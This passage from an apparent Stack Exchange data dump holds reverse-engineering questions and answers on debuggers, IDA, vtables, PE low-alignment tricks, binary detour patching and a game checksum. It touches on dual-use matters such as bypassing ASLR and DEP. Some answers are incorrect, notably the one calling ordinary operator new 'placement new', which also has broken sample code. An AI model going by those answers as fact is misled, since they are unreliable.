Another method used (however this is more a Heuristic method) is to detect the ways it tries to hide. Eg obfuscation, encryption odd jumps (like pop, ret to jump to addresses).

\n\n

Another method used often, (although this is less signature based) is IOC, for this see: http://www.openioc.org/

\n\n

I think you are looking for YARA.\nNote for writing YARA signatures, good malware/exploits authors randomize everything they can. So try to find the parts that are 'unchangeable'.

\n" }, { "Id": "4394", "CreationDate": "2014-05-21T06:44:08.113", "Body": "

I am trying to learn actually how to get to the PEB inside of TEB. I have tried this with windbg but could not manage to dump the PEB with stuff like:

\n\n
!peb\n
\n\n

or

\n\n
dt nt!_PEB_LDR_DATA\n
\n\n

And others. But, I could not manage to get the PEB dumped. So also my favorite debugger is still immunitydbg. So, I was trying to get to the information using immunitydbg CLI. But the nearest thing I have managed to get to PEB is dumping the TEB.

\n\n
d fs:[0]\n
\n\n

So, I there anyhow someway inside of immunity do get the contents of TEB/PEB? I also tried to use the Ollysdbg PE Dump plugin but that only gave me another exe file with different contents. And also i am not sure if the PE Plugin does the right thing for me.

\n", "Title": "Dump TEB/PEB in immunitydbg", "Tags": "|windows|immunity-debugger|operating-systems|", "Answer": "
alt + f1 d fs:[30] ollydbg 1.10  raw peb  \n
\n\n

with stolly plugin for 1.10 select the first byte in dump->right click->sructure \nselect _peb from drop down box for decoded peb .

\n\n
al+g fs:[30] in ollydbg 2.01 fully decoded _peb in dump / disasm window\n
\n" }, { "Id": "4398", "CreationDate": "2014-05-21T22:00:06.593", "Body": "

When using IDA, I can press x on any subroutine to see where it is called from. Eventually I end up in the .data section.

\n\n

But, what am I looking at when I get to this point ?

\n\n

Are these exports offered by the .dll that I'm looking at ? And, if I get to this point, is it safe to assume that there are no other calls to my function (with the exception of dynamically-generated and/or external calls) ? See reference image below for context.

\n\n

\"XRefs\"

\n", "Title": "IDA and XRefs in the .data Section", "Tags": "|ida|disassembly|", "Answer": "

It's hard to tell without more context, but you're probably looking at a virtual function table (vtable). See Converting a virtual table from .rdata into an IDA struct for an example.

\n" }, { "Id": "4400", "CreationDate": "2014-05-22T01:07:51.720", "Body": "

Does somebody knows what _acmdln_dll is ? I could not find any useful documentation about that.

\n\n

I am asking because I have the following line in the assembly which I try to analyze:

\n\n
 MOV EAX, DWORD PTR DS : [_acmdln_dll]\n
\n\n

After that line I have in register EAX the path of the current process. So my assumption is now the _acmdln_dll stores somehow the path as string sequence.\nIs that true ?

\n\n

Can someone confirm that or does someone know more informations about _acmdln_dll ?

\n", "Title": "What does _acmdln_dll?", "Tags": "|disassembly|windows|x86|", "Answer": "

well after rereading the original question it appears both my answer
\nand the answer i followed up do not give an answer to the original question
\noriginal question asks about acmdln_dll which is nowhere to be found in vs crt
\ni leave the answer as it is assuming the suffix __dll to be in code that is not native ms like from reactos here

\n\n

http://code.google.com/p/reactos-mirror/source/browse/trunk/reactos/lib/crtdll/misc/GetArgs.c?spec=svn271&r=271

\n\n

the answer below is pertinent to _acmdln without the suffix _dll see edit 3 also

\n\n

the complete source code is available to you for acmdln if you have installed even the express version of visual studio.

\n\n

compile a simple hello world with debug info /Zi and view the source code as to what it is

\n\n

source file in crt directory of visual studio

\n\n
DS:[00408018]=7C812FBD (kernel32.GetCommandLineA)\nJump from __tmainCRTStartup+9B\ncrt0.c:252.  _tcmdln = (_TSCHAR *)GetCommandLineT();\n
\n\n

here is a relevent disassembly\nnotice the result of GetCommandline being moved to acmdln a global

\n\n
/*\n * command line, environment, and a few other globals\n */\n\n    #ifdef WPRFLAG\n    wchar_t *_wcmdln;           /* points to wide command line */\n    #else  /* WPRFLAG */\n    char *_acmdln;              /* points to command line */\n    #endif  /* WPRFLAG */\n\n    char *_aenvptr = NULL;      /* points to environment block */\n    wchar_t *_wenvptr = NULL;   /* points to wide environment block */\n
\n\n

disassembly

\n\n
004014D9           CALL    newheapt._amsg_exit\n004014DE           POP     ECX\n004014DF           CALL    NEAR DWORD PTR DS:[<&KERNEL32.GetCommandLineA>]      ; _tcmdln = (_TSCHAR *)GetCommandLineT();\n004014E5           MOV     DWORD PTR DS:[_acmdln], EAX\n004014EA           CALL    newheapt.__crtGetEnvironmentStringsA                 ; _tenvptr = (_TSCHAR *)GetEnvironmentStringsT();\n004014EF           MOV     DWORD PTR DS:[_aenvptr], EAX\n004014F4           CALL    newheapt._setargv                                    ; if ( _tsetargv() < 0 )\n004014F9           TEST    EAX, EAX\n004014FB           JNS     SHORT newheapt.00401505\n004014FD           PUSH    8                                                    ; _amsg_exit(_RT_SPACEARG);\n004014FF           CALL    newheapt._amsg_exit\n00401504           POP     ECX\n00401505           CALL    newheapt._setenvp                                    ; if ( _tsetenvp() < 0 )\n0040150A           TEST    EAX, EAX\n0040150C           JNS     SHORT newheapt.00401516\n0040150E           PUSH    9                                                    ; _amsg_exit(_RT_SPACEENV);\n
\n\n

edit 3

\n\n

from a general search it seems that this is defined in crtdll.dll

\n\n
C:\\WINDOWS\\system32>grep -rs _acmdln_dll *\nBinary file crtdll.dll matches\nBinary file dllcache/crtdll.dll matches\n^C\nC:\\WINDOWS\\system32>\n
\n\n

loading the dll in ollydbg _acmdln_dll is exactly same as _acmdln

\n\n
73D91D02                   |> \\FF15 4410>CALL    NEAR DWORD PTR DS:[<&KERNEL32.GetCommandLineA>]      ; [GetCommandLineA\n73D91D08                   |.  A3 CC3EDB>MOV     DWORD PTR DS:[_acmdln_dll], EAX\n73D91D0D                   |.  FF15 4010>CALL    NEAR DWORD PTR DS:[<&KERNEL32.GetEnvironmentStrings>>; [GetEnvironmentStrings\n73D91D13                   |.  A3 D03EDB>MOV     DWORD PTR DS:[73DB3ED0], EAX\n73D91D18                   |.  FF15 0411>CALL    NEAR DWORD PTR DS:[<&KERNEL32.GetVersion>]           ;  kernel32.GetVersion\n
\n\n

and this crtdll.dll seems to be from an older windows sdk a brief google yields one page which alludes crtdll.lib belonging to windows sdk 3.5 era

\n\n

http://support.microsoft.com/kb/94248

\n" }, { "Id": "4402", "CreationDate": "2014-05-22T07:17:33.703", "Body": "

In the disassembler output (ARM) I see:

\n\n
    BLX _Znwj\n
\n\n

where BLX is ARM procedure call and _Znwj is demangled as

\n\n
$ c++filt  _Znwj\noperator new(unsigned int)\n
\n\n

What does that operator new do? Is it new or new[]?\nWhat type does it return?\nHow do I explicitly call it from C++, something in the operator+(a,b) style?

\n\n

(I know that it is possible to define operator new in a class, but this looks a bit different.)

\n", "Title": "What is operator new(unsigned int)?", "Tags": "|disassembly|c++|gcc|", "Answer": "

This is called \"placement new\" and was introduced in C++03. The way it works is that one can have, say a C++ class around a set of hardware registers and then use placement new to put the class exactly atop those hardware registers. For example, if a hardware-based hardware Random Number Generator (RNG) is defined using 32-bit Control Register, Status Register and Data Register all starting at offset 0x50000600, you could define a class:

\n\n
class RNG_class\n{\nprivate:\n  volatile uint32_t CR;  // set to 1 to enable\n  volatile uint32_t SR;  // low bit set when next num available\n  volatile uint32_t DR:\npublic;\n  RNG_class() : CR(1) {} \n  uint32_t next() { while (SR&1 == 0); return DR; }\n};\n
\n\n

Elsewhere, then one can instantiate this class as

\n\n
RNG_class RNG* = new(0x50000600) RNG_class();\n
\n\n

And one can use it as:

\n\n
r = RNG->next();\n
\n\n

See this question for more information.

\n" }, { "Id": "4428", "CreationDate": "2014-05-23T12:58:09.500", "Body": "

I used to think that the pointer to the Virtual Function Table (VFT, also Virtual Method Table, VMT) is the very first 32-bit word of the object binary representation.

\n\n

But now I see a VFT whose index is 13 (!!!!), that is, offset=0x34. (I write \"index\" because the code to invoke the Qt function o.metaObject() is ((func***)o)[13][0](o)). OMG, what is going on? Why the VFT address is located... where?

\n\n

EDIT (after complaints that the question is unclear):

\n\n

Each object with virtual functions has a pointer to the Virtual Function Table. Usually, this is the very first 32-bit value in the object's binary representation (and may be accessed as ((void**)objAddr)[0]). But in the example below the offset of VMT pointer is not 0! (Function names may be demangled by c++filt; for readability, the class names have been shortened to Abc and Xyz):

\n\n
.text:02EF171C _ZN3XyzC2EP7QObject ; constructor Xyz::Xyz(QObject*), r0 = objAddr, r1 = QObject addr\n.text:02EF171C                 PUSH.W          {R4-R8,LR}\n.text:02EF1720                 MOV             R4, R0\n.text:02EF1722                 LDR             R5, =(_GLOBAL_OFFSET_TABLE_ - 0x02EF1730)\n.text:02EF1724                 MOV             R7, R1\n.text:02EF1726                 BL.W            _ZN4AbcdC2EP7QObject ; superclass_constructor(objAddr)\n.text:02EF172A ; ---------------------------------------------------------------------------\n.text:02EF172A                 LDR             R3, =(_ZTVN3XyzE_ptr - 0x27E4BE0) ; vtable for Xyz\n.text:02EF172C                 ADD             R5, PC ; _GLOBAL_OFFSET_TABLE_\n.text:02EF172E                 MOV             R6, R4\n.text:02EF1730                 MOV             R1, R7\n.text:02EF1732                 LDR             R3, [R5,R3] ; _ZTVN3XyzE_ptr ; pointer to vtable for Xyz\n.text:02EF1734                 ADDS            R3, #8 ; *_ptr points to the (-2)nd element of VMT\n.text:02EF1736                 STR.W           R3, [R6],#0x34 ; OOPS! the offset is 0x34 !!!\n
\n\n

I want to be able to locate the pointer to VMT for any object, but as the example above shows, the pointer to VMT is not necessarily ((void**)objAddr)[0].

\n\n

So the question is:

\n\n

1) why the VMT pointer is in the middle of the object's binary representation? There must be something specific about this place.

\n\n

2) how do I find out where the VMT pointer actually is? (Ideally, at run-time given the object address. I have the code to tell a valid address from an invalid one. I'm interested in GCC for Android/ARM, although techniques for different platforms may turn out to be applicable.)

\n\n

PS the code to detect a valid address on Android is:

\n\n
#include <unistd.h>\n#include <fcntl.h>\nint isValidPtr(const void*p, int len) {\n    if (!p) { return 0; }\n    int ret = 1;\n    int nullfd = open(\"/dev/random\", O_WRONLY); // does not work with /dev/null !!!\n    if (write(nullfd, p, len) < 0) {\n        ret = 0; /* Not OK */\n    }\n    close(nullfd);\n    return ret;\n}\n
\n\n

UPDATE

\n\n

In the following example, the VMT offset is 0:

\n\n
class Base {\npublic:\n  int x,y;\n};\nclass Derived: public Base {\npublic:\n  int z;\n  Derived();\n  virtual int func();\n  virtual int func2();\n};\n
\n\n

Coercion from Base* to Derived* compiles to: SUBS R0, #4

\n\n
int test3(Base*b) {\n    Derived*d = (Derived*)b;\n    int r = addDerived(*d);\n    return r;\n}\n\n ; test3(Base *)\n _Z5test3P4Base\n CBZ             R0, loc_1C7A\n SUBS            R0, #4\n B.W             _Z10addDerivedR7Derived ;\n
\n\n

UPDATE2

\n\n

I tried

\n\n
struct Cls2 {\n    unsigned x[13];\n    Derived d;\n    Cls2();\n};\n
\n\n

and here's the disassembly:

\n\n
.text:00001CE2 _ZN4Cls2C2Ev ; Cls2::Cls2(void)\n.text:00001CE2                 PUSH            {R4,LR}\n.text:00001CE4                 MOV             R4, R0\n.text:00001CE6                 ADD.W           R0, R0, #0x34\n.text:00001CEA                 BL              _ZN7DerivedC2Ev ; Derived::Derived(void)\n.text:00001CEE                 MOV             R0, R4\n.text:00001CF0                 POP             {R4,PC}\n
\n\n

That is, the VFT pointer of Cls2::d will indeed be at offset 0x34, but there's no STR.W R3,[R6],#0x34, so it is not #2 suggested by Willem Hengeveld.

\n\n

BUT if we comment out the constructor,

\n\n
struct Cls2 {\n    unsigned x[13];\n    Derived d;\n//    Cls2();\n};\n
\n\n

in

\n\n
int testCls2() {\n    Cls2 c;\n    return c.d.func2();\n}\n
\n\n

we get

\n\n
.text:00001C9E _Z8testCls2v\n.text:00001C9E var_18          = -0x18\n.text:00001C9E                 PUSH            {LR}\n.text:00001CA0                 SUB             SP, SP, #0x4C\n.text:00001CA2                 ADD             R0, SP, #0x50+var_18\n.text:00001CA4                 BL              _ZN7DerivedC2Ev ; Derived::Derived(void)\n.text:00001CA8                 ADD             R0, SP, #0x50+var_18\n.text:00001CAA                 BL              _ZN7Derived5func2Ev ; Derived::func2(void)\n.text:00001CAE                 ADD             SP, SP, #0x4C\n.text:00001CB0                 POP             {PC}\n
\n\n

which is very similar to the original code\nBUT in my case the VMT vtable for Xyz is written from Xyz::Xyz() and not from the enclosing function.

\n", "Title": "Where the pointer to virtual function table is located?", "Tags": "|c++|arm|virtual-functions|gcc|", "Answer": "

The code to detect and print virtual function table pointers is:

\n\n
int isIdentifier(const char* s) { // true if points to [0-9a-zA-Z_]*\\x00\n    if(!isValidPtr(s,0x10)) { return 0; }\n    if(!s[0]) { return 0; }\n    int i;\n    for (i=0; s[i] && i<512; i++) {\n        if( i/0x10 && i%0x10 == 0 && !isValidPtr(s,0x10)) { return 0; }\n        unsigned char c = s[i];\n        if ('0'<=c && c<='9' || 'a'<=c && c <= 'z' || 'A'<=c && c <= 'Z' || '_' == c) {\n        } else {\n            return 0;\n        }\n    }\n    return !s[i];\n}\n\nchar* isVftPtr(void*addr) { // returns addr of mangled class name (prefix it with _Z to demangle with c++filt)\n    unsigned int* vmtaddr = isValidPtr(addr,4)\n                     && 0 == (3 & *(int*)addr)\n                     && isValidPtr(*(int**)addr,4)\n                     ? *(unsigned int**)addr\n                     : (void*)0;\n    if (vmtaddr\n      &&isValidPtr(vmtaddr-2,0x20)\n     ) {\n        char**ptypeinfo = ((char***)vmtaddr)[-1];\n        if (isValidPtr(ptypeinfo,4)\n          &&isValidPtr((char***)ptypeinfo[0]-1,8)\n          &&isValidPtr(((char***)ptypeinfo[0])[-1],8)\n          &&isValidPtr(((char***)ptypeinfo[0])[-1][1],0x20)\n          &&isIdentifier(ptypeinfo[1])\n        ) {\n            return !strncmp(((char***)ptypeinfo[0])[-1][1], \"N10__cxxabiv\",12) ? ptypeinfo[1] : 0;\n        }\n    }\n    return 0;\n}\n// Usage example: printVfts(\"pThis\", pThis, -8, 0x400)\nvoid printVfts(const char*tag, void* addr, int from, int upto) {\n    void** start = addr+from;\n    void** end = addr+upto;\n    DLOG(\"{ %s ====== printVfts %p (%p..%p)\", tag, addr,start,end);\n    void**p;\n    char*n = 0;\n    for(p=addr;p<end;p++) {\n        if (n = isVftPtr(p)) {\n            DLOG(\"vft at %p [off=0x%x] _Z%s\",p,(unsigned)p - (unsigned)addr, n);\n        }\n    }\n    DLOG(\"} %s ====== printVfts %p\", tag, addr);\n}\n
\n\n

The code worked on Android/ARM.

\n\n

The function isValidPtr() is given in the question, the logging macro is given below:

\n\n
#include <android/log.h>\n#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG  , \"~~~~~~\", __VA_ARGS__)\n#define DLOG(...) __android_log_print(ANDROID_LOG_DEBUG  , \"~~~~~~\", __VA_ARGS__)\n
\n\n

And, finally: printVfts() showed that there is another VFT pointer at offset 0.

\n" }, { "Id": "4434", "CreationDate": "2014-05-23T16:04:07.677", "Body": "

I am reverse engineering a 3d file format for a game. I know the file is a mesh since I was able to identify the XYZ Coordinates for each vector as well as the MeshFaces. Each Vector XYZ Coordinate has 3 floats like so:

\n\n

[this is pulled from an actual file]

\n\n
41FC39C0 73480640 3AC87240 6038BF3E DF545D3F E620ACBE 00000000 0000403F\n
\n\n

And this is the float representation of the hex:

\n\n
-2.9060214 2.0981719 3.7934709 = X Y Z\n0.37347698 0.86457628 -0.3361885 0.0 0.75 = Not sure what this this is.\n
\n\n

I want to say the first 2 values could possibly be tU, tV values, but from what I know with DirectX, texture coordinates are usually between 0 and 1. Even though this file, the numbers fit between, I could bring up another file when those first 2 numbers are something like -.50 or even above 1 so I can't say they are text coordinates for sure.

\n\n

The last 3 values I have no idea.

\n\n

This 3d Mesh File is for a online game that uses a custom built DirectX 9 engine and from what I gather so far, is loosely based on Direct3D's .X file specifications.

\n\n

I am able to pull out the XYZ coordinates into a list that can be imported into Cinema 4D and I have confirmed the XYZ is accurate based on the object that is drawn. In this case, a rock.

\n\n

Here is floats for the first 3 data points within this file:

\n\n
1. -2.9060214 2.0981719 3.7934709 0.37347698 0.86457628 -0.3361885 0.0 0.75\n2. -2.7679636 2.0897043 2.6395969 0.16878456 0.98563963 5.1173517e-003 0.0 0.5\n3. -2.7679636 6.2550635 2.7174740 0.20584901 -0.96193141 -0.17976092 1.0 0.5\n
\n\n

From my experience with reverse engineering 3D date, if a floating point number is exponential, it most likely is being read wrong, so the '5.1173517e-003' on the 2nd line towards the end may not even be a floating point number, but then its other possible values:

\n\n
INT8    117\nUINT8   117\nINT16   -20619\nUINT16  44917\nINT32   1000845173\nUINT32  1000845172\nHALF FLOAT -0.11651611\n
\n\n

don't make much sense either.

\n", "Title": "What kind of data is this within this 3D mesh file format?", "Tags": "|binary-analysis|", "Answer": "

I think the second vector of three floats is the normal vector. Which is basically the front facing direction of the vertex. It looks like the length is 1 so it's normalized which would correspond well with what you'd expect of a normal vector. The last two I believe are UV mapping coordinates for texturing but it's hard to be positive without full data files.

\n" }, { "Id": "4436", "CreationDate": "2014-05-23T23:44:57.003", "Body": "

I wanted to know if a jump instruction as JE must directly follow to a CMP instruction. Until now, I did always see that first a CMP comes and after that a JMP. But today I have discover the following:

\n\n
...\nCMP DWORD PTR SS:[EBP+0xC], EAX\nMOV ECX, DWORD PTR SS:[EBP+0x18]\nPUSH ESI\nMOV ECX, DWORD PTR SS:[EBP+0x18]\nMOV DWORD PTR SS:[ECX],EAX \nMOV EAX, DWORD PTR SS:[EBP+0x10]\nMOV DWORD PTR SS:[EDI], 0x1\nJE SHORT crtdll.6C250E66\n....\n
\n\n

First of all, I am beginner. So, I try to understand the assembly language. Logically, I would say that the JE instruction is related to the CMP instruction at the beginning of that sequence.

\n\n

So, my self-explanation was that we first compare, then do some MOV and PUSH operations, after that all we are jumping, is that right?

\n\n

But, as I mentioned above, normally the jump comes in the next line after the comparison, could one say the reason for that late jump instruction here ? Or is it normal ?

\n", "Title": "Does a JE must follow directly to an CMP?", "Tags": "|assembly|x86|", "Answer": "

JE checks the zero flag (ZF). So as long as ZF is not modified you can jump any time you want. The same to other jump instructions

\n" }, { "Id": "4448", "CreationDate": "2014-05-25T20:20:23.200", "Body": "

Modern exploits use different techniques to bypass ASLR. One of the technique used in some IE exploits is to leak memory using a BSTR overwrite.

\n\n

How can an attacker leak memory, and how can he use it to effectively bypass ASLR?

\n", "Title": "Reading Memory to bypass ASLR", "Tags": "|exploit|vulnerability-analysis|", "Answer": "

Use GetModuleHandle() to get the base address of the module and the offset.\nThe offset is just current address - base address.

\n" }, { "Id": "4453", "CreationDate": "2014-05-26T15:14:14.387", "Body": "

I need a little help from you guys! At present, I'm working on an IDA Pro Database in order to create a patch for an executable, and I'm totally stuck on editing the following sub:

\n\n
.text:008EC420 ; char __thiscall sub_8EC420(MyClass *this)\n.text:008EC420 sub_8EC420      proc near\n.text:008EC420 var_8           = dword ptr -8\n.text:008EC420 var_4           = dword ptr -4\n.text:008EC420                 sub     esp, 8\n.text:008EC423                 push    ebx\n.text:008EC424                 mov     ebx, ecx\n.text:008EC426                 cmp     dword ptr [ebx+79954h], 0\n.text:008EC42D                 mov     [esp+0Ch+var_4], ebx\n.text:008EC431                 mov     [esp+0Ch+var_8], 0\n.text:008EC439                 jle     loc_8EC4F2\n.text:008EC43F                 push    ebp\n.text:008EC440                 push    esi\n.text:008EC441                 push    edi\n.text:008EC442                 lea     edi, [ebx+114h]\n.text:008EC448                 jmp     short loc_8EC450\n.text:008EC44A                 align 10h\n.text:008EC450 loc_8EC450:\n.text:008EC450                 lea     eax, [edi-0Ch]\n.text:008EC453                 push    eax\n.text:008EC454                 call    sub_A00890\n.text:008EC459                 mov     esi, eax\n.text:008EC45B                 add     esp, 4\n.text:008EC45E                 cmp     esi, 0FFFFFFFFh\n.text:008EC461                 jnz     short loc_8EC472\n.text:008EC463                 mov     dword ptr [edi], 0\n.text:008EC469                 mov     dword ptr [edi-4], 0FFFFh\n.text:008EC470                 jmp     short loc_8EC480\n.text:008EC472 loc_8EC472:\n.text:008EC472                 push    esi\n.text:008EC473                 call    sub_A00870\n.text:008EC478                 add     esp, 4\n.text:008EC47B                 mov     [edi], eax\n.text:008EC47D                 mov     [edi-4], esi\n.text:008EC480 loc_8EC480:\n.text:008EC480                 xor     ebp, ebp\n.text:008EC482                 cmp     [edi+0ECh], ebp\n.text:008EC488                 jbe     short loc_8EC4D2\n.text:008EC48A                 lea     esi, [edi+0BCh]\n.text:008EC490 loc_8EC490:\n.text:008EC490                 lea     ecx, [esi-0Ch]\n.text:008EC493                 push    ecx\n.text:008EC494                 call    sub_A00890\n.text:008EC499                 mov     ebx, eax\n.text:008EC49B                 add     esp, 4\n.text:008EC49E                 cmp     ebx, 0FFFFFFFFh\n.text:008EC4A1                 jnz     short loc_8EC4B2\n.text:008EC4A3                 mov     dword ptr [esi], 0\n.text:008EC4A9                 mov     dword ptr [esi-4], 0FFFFh\n.text:008EC4B0                 jmp     short loc_8EC4C0\n.text:008EC4B2 loc_8EC4B2:\n.text:008EC4B2                 push    ebx\n.text:008EC4B3                 call    sub_A00870\n.text:008EC4B8                 add     esp, 4\n.text:008EC4BB                 mov     [esi], eax\n.text:008EC4BD                 mov     [esi-4], ebx\n.text:008EC4C0 loc_8EC4C0:\n.text:008EC4C0                 add     ebp, 1\n.text:008EC4C3                 add     esi, 14h\n.text:008EC4C6                 cmp     ebp, [edi+0ECh]\n.text:008EC4CC                 jb      short loc_8EC490\n.text:008EC4CE                 mov     ebx, [esp+18h+var_4]\n.text:008EC4D2 loc_8EC4D2:\n.text:008EC4D2                 mov     eax, [esp+18h+var_8]\n.text:008EC4D6                 add     eax, 1\n.text:008EC4D9                 add     edi, 3E4h\n.text:008EC4DF                 cmp     eax, [ebx+79954h]\n.text:008EC4E5                 mov     [esp+18h+var_8], eax\n.text:008EC4E9                 jl      loc_8EC450\n.text:008EC4EF                 pop     edi\n.text:008EC4F0                 pop     esi\n.text:008EC4F1                 pop     ebp\n.text:008EC4F2 loc_8EC4F2:\n.text:008EC4F2                 mov     al, 1\n.text:008EC4F4                 pop     ebx\n.text:008EC4F5                 add     esp, 8\n.text:008EC4F8                 retn\n.text:008EC4F8 sub_8EC420      endp\n
\n\n

The MyClass entity looks like this:

\n\n
struct MyClass // 502076 bytes\n{\n  void *VFT; // 4 bytes\n  MyStruct Structs[500]; // 498000 bytes = sizeof(MyStruct)=996 * 500\n  // more data...\n};\n
\n\n

In order to allow MyClass to parse and manage more MyStruct instances, I enlarged the .data segment of the executable by sizeof(MyStruct1)=996 * 1000 = 996000 bytes and I appended a new MyStruct[1000] at the end of it. Now, all what I need to do is to shift every memory pointer trying to access the MyClass.Structs memory region to the MyStruct[1000] memory region. Many modifications were pretty easy to achieve, but I really don't know how to deal with this one.

\n\n

The method sub_8EC420 iterates through every MyStruct instance in MyClass.Structs getting a specific field and doing some operations with it:

\n\n
char *v2 = &this->Structs[0].ValueAt272;\n// offset = MyClass + 276 | MyClass->Structs + 272\n\ndo\n{\n    // operations...\n    v2 += 996; // sizeof(MyStruct)\n}\nwhile ( ... );\n
\n\n

In order to successfully redirect the memory pointer to the new MyStruct[1000] array located at the end of the .data segment, I must change the following instruction:

\n\n
.text:008EC442                 lea     edi, [ebx+114h]\n// offset = MyClass + 276 | MyClass->Structs + 272\n// bytes = 8D BB 14 01 00 00\n
\n\n

EBX is the register that points to my MyClass instance offset. But I can't transform it into this:

\n\n
.text:008EC442                 mov edi, 2DABF84h; nop;\n
\n\n

Because, as you can see, just after, the EDI register value is being used and this would lead to bad results:

\n\n
.text:008EC450                 lea     eax, [edi-0Ch]\n
\n\n

I also tried an edited LEA approach but it's not producing good results either:

\n\n
.text:008EC442                 lea     edi, [ebx+14A027Ch]\n// offset = MyStruct[1000] (0x02DABE74) - MyClass Instance (0x190BD08) + 272\n// bytes = 8D BB 7C 02 4A 01\n
\n\n

On the top of that, inserting additional bytes to this sub completly breaks my IDA Pro database. So... how should I deal with this?

\n", "Title": "Redirecting/Remapping/Rerouting a Memory Access", "Tags": "|ida|disassembly|assembly|memory|", "Answer": "

One way to patch the instruction lea eax, [edi-0Ch], is to create an advanced detour inside the code to your own custom .text segment and then back again to the code.

\n\n

For a regular mov reg32, imm32 opcode you need at least 5 bytes of space which will obviously never fit into the 3 byte opcode.

\n\n

For a detour opcode sequence, you need to either craft your own relative jump (5 bytes), or use the shortest syntax for absolute jump (6 bytes):

\n\n
PatchStart:\n    push  loc_patch1  ;; push address of the patch code\n    ret               ;; pop address and jump to it\n
\n\n

So if the code originally looked like this:

\n\n
.text:008EC44A                 align 10h\n.text:008EC450 loc_8EC450:\n.text:008EC450                 lea     eax, [edi-0Ch] ;; 3 bytes\n.text:008EC453                 push    eax            ;; 1 byte\n.text:008EC454                 call    sub_A00890     ;; 5 bytes\n.text:008EC459                 \n
\n\n

You can replace it with:

\n\n
.text:008EC44A                 align 10h\n.text:008EC450 loc_8EC450:\n.text:008EC450                 push    loc_patch1     ;; 5 bytes\n.text:008EC455                 ret                    ;; 1 byte\n.text:008EC456                 nop                    ;; pad other 3 bytes\n.text:008EC457                 nop  \n.text:008EC458                 nop\n.text:008EC459                 \n
\n\n

And now for the patch itself:

\n\n
           loc_patch1:\n                           mov     eax, PatchedValue ;; lea eax,[edi-0Ch]\n                           push    eax            \n                           call    sub_A00890     \n                           push    loc_8EC459     ;; jump back to source\n                           ret\n
\n\n

There are some performance penalties for long absolute jumps, but in the end it will get your executable patched without any tedious relocation needed.

\n\n

If you wish to craft your own long relative jumps/calls then the opcodes (5 bytes) look like this:

\n\n
;; call +0xCAFE\nE8 FE CA 00 00\n;; jmp  +0xCAFE\nE9 FE CA 00 00\n
\n\n

The bonus is that relative jumps require only 5 bytes. So if you create a new second text segment or replace some unused code inside the original .text segment, you'll be good to go.

\n" }, { "Id": "4457", "CreationDate": "2014-05-27T07:27:00.773", "Body": "

I only found this term \"low alignment mode\" in the corkami wiki.

\n\n
\n \n
\n\n

The numbers are hex values.

\n\n

Some possible implications are described by ReversingLabs

\n\n

It seems low alignment is necessary to make the PE Header writable. However, FileAlignment and SectionAlignment have to be lower than or equal to 200h, which is more restrictive than the low alignment mode above. So I am not sure if this is really a consequence of low alignment or if low alignment mode is just one part of that trick.

\n\n

In addition it seems that the virtual addresses have to be equal to the physical ones.

\n\n

I would like to understand this better.
\nMy questions are: What implications has the low alignment mode? How is the way changed the loader loads the PE? Why is it that way?

\n", "Title": "What implications has the low alignment mode of a PE file?", "Tags": "|pe|", "Answer": "

A writable header is a side-effect of the low alignment. More interestingly, an executable header is possible, too, bypassing DEP restrictions even when set to enable for all processes. That allows code to execute directly from the header, which would normally not be allowed. When used for a DLL, the ImageBase can become the entrypoint (i.e. call LoadLibrary; call eax), which might be a bit unexpected.

\n\n

Other implications include that some tools cannot disassemble or dump such files properly. A low alignment allows for the creation of very small files (as small as 268 bytes on 64-bit or 255 bytes on 32-bit Vista and later systems (XP allows the file to be 233 bytes long)), by overlapping the tables, and even removing all of the sections. This small size has been proven to be sufficient for a downloader.

\n" }, { "Id": "4460", "CreationDate": "2014-05-27T09:02:05.960", "Body": "

I am trying to reverse engineer a 16 bit checksum algorithm of one relatively old (10 years) LAN game that is no longer supported nor has source code available. \nAs it seems, data packets don't have standard structure when it comes to placing checksum bytes:

\n\n
Example 1:\n\n1f456e01\n
\n\n

Where first byte 1f seems to repeat itself in each packet and I assume it doesn't take part in generating checksum.

\n\n

Next two bytes 456e represent a checksum that presumably is a variation of CRC-CCITT with non-standard polynomial.

\n\n

Lastly, 01 byte represents data.

\n\n

Here are few more examples of packets with various data values:

\n\n
1f466e02\n1f496e05\n1f4b6e07\n1f4c6e08\n
\n\n

I wish I could post more diverse values but these are only ones I've been able to capture so far.

\n\n

I tried fiddling with reveng to reverse engineer the polynomial with following command:

\n\n
reveng -w 16 -s 01456e 02466e 05496e\n
\n\n

Here the checksum bytes are relocated at the end, as reveng expects them in this format. But this gave no results.

\n\n

I have tried comparing these checksums to most if not all common crc algorithms using online calculators but none of them give even close outputs to those above.

\n\n

Honestly, I don't know where else to look.

\n\n

Any hints/help or anything at all is much appreciated.

\n\n

EDIT:

\n\n

I managed to capture some more samples, however they are slightly different in terms of structure:

\n\n

Example 1:

\n\n
0e ed76 00 312e362e37544553540000000000000000000000000000000000000000 00\n
\n\n

Here the first byte 0E represents a sort of index, that I still think doesn't take part in generating checksum.\nThen comes two byte checksum ED76 followed by 00 sort of separator (newline?) byte that I also think doesn't take part in computing checksum.\nAfterwards follows data sequence: 312e362e37544553540000000000000000000000000000000000000000 which finally is proceeded by 00 terminating character that I also think has nothing to do with checksum.

\n\n

I can manipulate with the data part of this sequence of bytes so here are some more examples:

\n\n
Example 2:\n\nHEX:    0E109D00414141414141414141414141414141414141414141414141414141414100\nASCII:  ....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.\n\nExample 3:\n\nHEX:    0E8DC300424242424242424242424242424242424242424242424242424242424200\nASCII:  ....BBBBBBBBBBBBBBBBBBBBBBBBBBBBB.\n\nExample 4:\n\nHEX:    0E403500313131313131313131313131313131313131313131313131313131313100\nASCII:  .@5.11111111111111111111111111111.\n\nExample 5:\n\nHEX:    0E34CF00353535353535353535353535353535353535353535353535353535353500\nASCII:  .4..55555555555555555555555555555.\n\nExample 6:\n\nHEX:    0E3E0C00313233343536373839304142434445464748494A4B4C4D4E4F5051525300\nASCII:  .>..1234567890ABCDEFGHIJKLMNOPQRS.\n
\n\n

EDIT 2: More samples added, checksum bytes reversed to show the actual 16 bit int (little endian)

\n\n
